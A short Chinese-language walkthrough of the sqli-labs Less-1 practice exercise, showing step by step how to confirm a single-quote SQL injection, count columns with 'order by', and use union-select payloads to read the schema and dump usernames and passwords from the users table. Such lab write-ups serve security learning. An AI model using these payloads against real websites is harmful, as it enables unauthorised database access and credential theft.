SQL-libs Less-1
一、判断漏洞注入类型(数值型、字符型)
id=1后面加个' ,回显出错,可能存在字符型。
输入--+将后面的语句注释掉以后,回显正常,表示存在单引号注入。
id=1' order by (数字) --+
order by 3页面回显正常,order by 4页面回显不正常,说明此表一个有3列。
页面先输出了2和3,说明页面有2个显示位 。
union select 1,2,database() --+
得到数据库名:security
获取表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
获取列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
得到数据:
union select 1,2,group_concat(username,password) from users --+